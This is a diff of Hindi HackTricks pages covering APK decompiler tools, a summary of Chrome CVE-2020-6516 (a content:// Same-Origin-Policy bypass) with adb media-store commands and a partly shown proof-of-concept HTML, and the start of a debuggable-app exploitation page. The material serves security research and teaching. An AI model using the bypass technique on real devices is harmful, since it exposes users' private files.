* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,70 +1,88 @@
|
||||||
# APK डिकॉम्पाइलर्स
|
# APK decompilers
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**प्रत्येक उपकरण के लिए अधिक विवरण के लिए मूल पोस्ट की जाँच करें [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
**प्रत्येक उपकरण पर अधिक जानकारी के लिए [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr) से मूल पोस्ट देखें।**
|
||||||
|
|
||||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||||
|
|
||||||
पहले GUI जावा डिकॉम्पाइलर के रूप में, **JD-Gui** आपको APK फ़ाइलों में जावा कोड की जांच करने की अनुमति देता है। इसका उपयोग करना सरल है; APK प्राप्त करने के बाद, JD-Gui के साथ उसे खोलकर कोड की जांच करें।
|
एक अग्रणी GUI जावा डिकंपाइलर के रूप में, **JD-Gui** आपको APK फ़ाइलों के भीतर जावा कोड की जांच करने की अनुमति देता है। इसका उपयोग करना सीधा है; APK प्राप्त करने के बाद, बस इसे JD-Gui के साथ खोलें और कोड की जांच करें।
|
||||||
|
|
||||||
### [Jadx](https://github.com/skylot/jadx)
|
### [Jadx](https://github.com/skylot/jadx)
|
||||||
|
|
||||||
**Jadx** एंड्रॉइड एप्लिकेशन से जावा कोड को डिकॉम्पाइल करने के लिए एक उपयोगकर्ता मित्रपूर्ण इंटरफ़ेस प्रदान करता है। यह विभिन्न प्लेटफ़ॉर्म्स पर उपयोग के लिए अपनी सरलता के लिए सिफारिश की जाती है।
|
**Jadx** एंड्रॉइड अनुप्रयोगों से जावा कोड को डिकंपाइल करने के लिए एक उपयोगकर्ता के अनुकूल इंटरफ़ेस प्रदान करता है। यह विभिन्न प्लेटफार्मों पर उपयोग में आसानी के लिए अनुशंसित है।
|
||||||
|
|
||||||
- GUI लॉन्च करने के लिए, बिन निर्देशिका में जाएं और क्रियान्वयन करें: `jadx-gui`
|
- GUI लॉन्च करने के लिए, बिन निर्देशिका पर जाएं और निष्पादित करें: `jadx-gui`
|
||||||
- कमांड लाइन उपयोग के लिए, APK को डिकॉम्पाइल करें: `jadx app.apk`
|
- कमांड-लाइन उपयोग के लिए, एक APK को डिकंपाइल करें: `jadx app.apk`
|
||||||
- एक आउटपुट निर्देशिका निर्दिष्ट करने या डिकॉम्पाइलेशन विकल्प समायोजित करने के लिए: `jadx app.apk -d <output dir के लिए पथ> --no-res --no-src --no-imports`
|
- आउटपुट निर्देशिका निर्दिष्ट करने या डिकंपाइल विकल्प समायोजित करने के लिए: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||||
|
|
||||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||||
|
|
||||||
**GDA**, एक केवल Windows उपकरण, एंड्रॉइड ऐप्स के पुनर्अभिनिर्माण के लिए व्यापक सुविधाएँ प्रदान करता है। GDA को अपने Windows सिस्टम पर स्थापित करें और चलाएं, फिर विश्लेषण के लिए APK फ़ाइल लोड करें।
|
**GDA**, एक विंडोज-केवल उपकरण, एंड्रॉइड ऐप्स के लिए रिवर्स इंजीनियरिंग के लिए व्यापक सुविधाएँ प्रदान करता है। अपने विंडोज सिस्टम पर GDA स्थापित करें और चलाएँ, फिर विश्लेषण के लिए APK फ़ाइल लोड करें।
|
||||||
|
|
||||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||||
|
|
||||||
**Bytecode-Viewer** का उपयोग करके आप विभिन्न डिकॉम्पाइलर्स का उपयोग करके APK फ़ाइलों का विश्लेषण कर सकते हैं। डाउनलोड करने के बाद, Bytecode-Viewer चलाएं, अपना APK लोड करें, और समकालिक विश्लेषण के लिए उपयोग करने के लिए डिकॉम्पाइलर्स का चयन करें।
|
**Bytecode-Viewer** के साथ, आप कई डिकंपाइलरों का उपयोग करके APK फ़ाइलों का विश्लेषण कर सकते हैं। डाउनलोड करने के बाद, Bytecode-Viewer चलाएँ, अपनी APK लोड करें, और एक साथ विश्लेषण के लिए आप जिन डिकंपाइलरों का उपयोग करना चाहते हैं, उन्हें चुनें।
|
||||||
|
|
||||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||||
|
|
||||||
**Enjarify** Dalvik bytecode को जावा bytecode में अनुवादित करता है, जिससे जावा विश्लेषण उपकरण एंड्रॉइड एप्लिकेशन का अध्ययन करने के लिए अधिक प्रभावी हो सकते हैं।
|
**Enjarify** डलविक बाइटकोड को जावा बाइटकोड में अनुवाद करता है, जिससे जावा विश्लेषण उपकरण एंड्रॉइड अनुप्रयोगों का अधिक प्रभावी ढंग से विश्लेषण कर सकते हैं।
|
||||||
|
|
||||||
- Enjarify का उपयोग करने के लिए, चलाएं: `enjarify app.apk`
|
- Enjarify का उपयोग करने के लिए, चलाएँ: `enjarify app.apk`
|
||||||
यह प्रदान की गई APK का जावा bytecode समकक्ष उत्पन्न करता है।
|
यह प्रदान की गई APK का जावा बाइटकोड समकक्ष उत्पन्न करता है।
|
||||||
|
|
||||||
### [CFR](https://github.com/leibnitz27/cfr)
|
### [CFR](https://github.com/leibnitz27/cfr)
|
||||||
|
|
||||||
**CFR** आधुनिक जावा सुविधाओं को डिकॉम्पाइल करने की क्षमता रखता है। इसका उपयोग निम्नलिखित प्रकार से करें:
|
**CFR** आधुनिक जावा सुविधाओं को डिकंपाइल करने में सक्षम है। इसका उपयोग इस प्रकार करें:
|
||||||
|
|
||||||
- मानक डिकॉम्पाइलेशन के लिए: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
- मानक डिकंपाइल के लिए: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
- बड़े JAR फ़ाइलों के लिए, JVM मेमोरी आवंटन समायोजित करें: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
- बड़े JAR फ़ाइलों के लिए, JVM मेमोरी आवंटन समायोजित करें: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
|
|
||||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||||
|
|
||||||
**Fernflower**, एक विश्लेषणात्मक डिकॉम्पाइलर, स्रोत से निर्माण की आवश्यकता है। निर्माण के बाद:
|
**Fernflower**, एक विश्लेषणात्मक डिकंपाइलर, स्रोत से बनाने की आवश्यकता होती है। बनाने के बाद:
|
||||||
|
|
||||||
- एक JAR फ़ाइल को डिकॉम्पाइल करें: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
- एक JAR फ़ाइल को डिकंपाइल करें: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||||
फिर, उत्पन्न JAR से `.java` फ़ाइलों को `unzip` का उपयोग करके निकालें।
|
फिर, उत्पन्न JAR से `.java` फ़ाइलों को `unzip` का उपयोग करके निकालें।
|
||||||
|
|
||||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||||
|
|
||||||
**Krakatau** डिकॉम्पाइलेशन पर विस्तृत नियंत्रण प्रदान करता है, विशेष रूप से बाह्य पुस्तकालयों को संभालने के लिए।
|
**Krakatau** डिकंपाइलिंग पर विस्तृत नियंत्रण प्रदान करता है, विशेष रूप से बाहरी पुस्तकालयों को संभालने के लिए।
|
||||||
|
|
||||||
- सामान्य पुस्तकालय पथ और डिकॉम्पाइल करने के लिए JAR फ़ाइल को निर्दिष्ट करके Krakatau का उपयोग करें: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
- Krakatau का उपयोग करने के लिए मानक पुस्तकालय पथ और डिकंपाइल करने के लिए JAR फ़ाइल निर्दिष्ट करें: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||||
|
|
||||||
### [procyon](https://github.com/mstrobel/procyon)
|
### [procyon](https://github.com/mstrobel/procyon)
|
||||||
|
|
||||||
**procyon** के साथ सरल डिकॉम्पाइलेशन के लिए:
|
**procyon** के साथ सरल डिकंपाइलिंग के लिए:
|
||||||
|
|
||||||
- एक JAR फ़ाइल को एक निर्दिष्ट निर्देशिका में डिकॉम्पाइल करें: `procyon -jar "app.jar" -o "output_directory"`
|
- एक निर्दिष्ट निर्देशिका में JAR फ़ाइल को डिकंपाइल करें: `procyon -jar "app.jar" -o "output_directory"`
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,36 +1,39 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
**यह [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) पोस्ट का सारांश है**
|
**यह [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) पोस्ट का सारांश है।**
|
||||||
|
|
||||||
### मीडिया स्टोर में फ़ाइलों की सूची बनाना
|
### मीडिया स्टोर में फ़ाइलें सूचीबद्ध करना
|
||||||
मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची बनाने के लिए, नीचे दिए गए कमांड का उपयोग किया जा सकता है:
|
मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों को सूचीबद्ध करने के लिए, नीचे दिए गए कमांड का उपयोग किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file
|
$ content query --uri content://media/external/file
|
||||||
```
|
```
|
||||||
एक और मानव-मित्र उत्पादन के लिए, केवल पहचानकर्ता और पथ प्रदर्शित करने के लिए प्रत्येक सूचीत फ़ाइल:
|
मनुष्य के अनुकूल आउटपुट के लिए, प्रत्येक अनुक्रमित फ़ाइल के केवल पहचानकर्ता और पथ को प्रदर्शित करना:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data
|
$ content query --uri content://media/external/file --projection _id,_data
|
||||||
```
|
```
|
||||||
### Chrome की Content Providers तक पहुंच
|
सामग्री प्रदाता अपने निजी नामस्थान में अलग-थलग होते हैं। किसी प्रदाता तक पहुँचने के लिए विशिष्ट `content://` URI की आवश्यकता होती है। प्रदाता तक पहुँचने के लिए पथों की जानकारी एप्लिकेशन मैनिफेस्ट या Android ढांचे के स्रोत कोड से प्राप्त की जा सकती है।
|
||||||
Android पर Chrome `content://` scheme के माध्यम से content providers तक पहुंच सकता है, जिससे यह तीसरे पक्ष के एप्लिकेशन द्वारा निर्यात की गई फोटो या दस्तावेज़ जैसी संसाधनों तक पहुंच सकता है। इसका उदाहरण देने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से उसका उपयोग किया जा सकता है:
|
|
||||||
|
|
||||||
मीडिया स्टोर में एक कस्टम एंट्री डालें:
|
### Chrome का सामग्री प्रदाताओं तक पहुँच
|
||||||
|
Android पर Chrome सामग्री प्रदाताओं तक `content://` योजना के माध्यम से पहुँच सकता है, जिससे यह तीसरे पक्ष के अनुप्रयोगों द्वारा निर्यात की गई फ़ोटो या दस्तावेज़ जैसी संसाधनों तक पहुँच प्राप्त कर सकता है। इसे स्पष्ट करने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से पहुँचा जा सकता है:
|
||||||
|
|
||||||
|
मीडिया स्टोर में एक कस्टम प्रविष्टि डालें:
|
||||||
```bash
|
```bash
|
||||||
cd /sdcard
|
cd /sdcard
|
||||||
echo "Hello, world!" > test.txt
|
echo "Hello, world!" > test.txt
|
||||||
|
@ -38,27 +41,27 @@ content insert --uri content://media/external/file \
|
||||||
--bind _data:s:/storage/emulated/0/test.txt \
|
--bind _data:s:/storage/emulated/0/test.txt \
|
||||||
--bind mime_type:s:text/plain
|
--bind mime_type:s:text/plain
|
||||||
```
|
```
|
||||||
नए डाले गए फ़ाइल की पहचान खोजें:
|
नई डाली गई फ़ाइल का पहचानकर्ता खोजें:
|
||||||
```bash
|
```bash
|
||||||
content query --uri content://media/external/file \
|
content query --uri content://media/external/file \
|
||||||
--projection _id,_data | grep test.txt
|
--projection _id,_data | grep test.txt
|
||||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||||
```
|
```
|
||||||
फाइल फिर Chrome में देखी जा सकती है उस URL का उपयोग करके जो फ़ाइल की पहचानकर्ता के साथ निर्मित है।
|
फाइल को फिर Chrome में उस फाइल के पहचानकर्ता के साथ बनाए गए URL का उपयोग करके देखा जा सकता है।
|
||||||
|
|
||||||
उदाहरण के लिए, किसी विशिष्ट एप्लिकेशन से संबंधित फ़ाइलों की सूची बनाने के लिए:
|
उदाहरण के लिए, किसी विशेष एप्लिकेशन से संबंधित फाइलों की सूची बनाने के लिए:
|
||||||
```bash
|
```bash
|
||||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||||
```
|
```
|
||||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||||
|
|
||||||
_Same Origin Policy_ (SOP) एक सुरक्षा प्रोटोकॉल है जो ब्राउज़र में वेब पेजों को विभिन्न मूलों से संसाधनों के साथ बातचीत करने से रोकता है जब तक Cross-Origin-Resource-Sharing (CORS) नीति द्वारा व्यक्तिगत रूप से अनुमति न दी जाए। यह नीति सूचना लीक और क्रॉस-साइट अनुरोध फर्जी से बचाने का उद्देश्य रखती है। Chrome `content://` को स्थानीय योजना के रूप में मानता है, जिससे अधिक सख्त SOP नियम होते हैं, जहां प्रत्येक स्थानीय योजना URL को एक अलग मूल के रूप में व्यवहार किया जाता है।
|
_समान मूल नीति_ (SOP) एक सुरक्षा प्रोटोकॉल है जो ब्राउज़रों में वेब पृष्ठों को विभिन्न मूलों से संसाधनों के साथ बातचीत करने से रोकता है जब तक कि इसे क्रॉस-ओरिजिन-रिसोर्स-शेयरिंग (CORS) नीति द्वारा स्पष्ट रूप से अनुमति नहीं दी जाती। इस नीति का उद्देश्य जानकारी के लीक और क्रॉस-साइट अनुरोध धोखाधड़ी को रोकना है। Chrome `content://` को एक स्थानीय योजना के रूप में मानता है, जिसका अर्थ है कि SOP नियम अधिक सख्त हैं, जहां प्रत्येक स्थानीय योजना URL को एक अलग मूल के रूप में माना जाता है।
|
||||||
|
|
||||||
हालांकि, CVE-2020-6516 एक व्यवस्था में एक कमी थी जिसने Chrome में SOP नियमों को `content://` URL के माध्यम से लोड किए गए संसाधनों के लिए एक बायपास की अनुमति दी। प्रभाव में, `content://` URL के माध्यम से लोड किए गए अन्य संसाधनों तक JavaScript कोड तक पहुंच सकता था, जो खासकर Android डिवाइस पर एक महत्वपूर्ण सुरक्षा चिंता थी, खासकर Android 10 से पहले के संस्करणों पर, जहां स्कोप्ड स्टोरेज को लागू नहीं किया गया था।
|
हालांकि, CVE-2020-6516 एक कमजोर बिंदु था जो Chrome में `content://` URL के माध्यम से लोड किए गए संसाधनों के लिए SOP नियमों को बायपास करने की अनुमति देता था। प्रभावी रूप से, `content://` URL से JavaScript कोड अन्य संसाधनों तक पहुँच सकता था जो `content://` URLs के माध्यम से लोड किए गए थे, जो एक महत्वपूर्ण सुरक्षा चिंता थी, विशेष रूप से Android उपकरणों पर जो Android 10 से पहले के संस्करण चला रहे थे, जहां स्कोप्ड स्टोरेज लागू नहीं किया गया था।
|
||||||
|
|
||||||
नीचे दिया गया प्रमाण-कोन्सेप्ट इस कमी को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, **/sdcard** के तहत अपलोड करने के बाद और मीडिया स्टोर में जोड़ने के बाद, अपने JavaScript में `XMLHttpRequest` का उपयोग करता है ताकि वह एक और फ़ाइल के सामग्री तक पहुंच सके और उसे प्रदर्शित कर सके, SOP नियमों को छलकर।
|
नीचे दिए गए प्रमाण-का-धारणा इस कमजोर बिंदु को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, जिसे **/sdcard** के तहत अपलोड किया गया है और मीडिया स्टोर में जोड़ा गया है, अपने JavaScript में `XMLHttpRequest` का उपयोग करके मीडिया स्टोर में एक अन्य फ़ाइल की सामग्री को एक्सेस और प्रदर्शित करता है, SOP नियमों को बायपास करते हुए।
|
||||||
|
|
||||||
प्रमाण-कोन्सेप्ट HTML:
|
Proof-of-Concept HTML:
|
||||||
```xml
|
```xml
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -91,16 +94,17 @@ xhr.send();
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,86 +1,108 @@
|
||||||
# डीबग करने योग्य एप्लिकेशन का शोधन
|
# Exploiting a debuggeable application
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
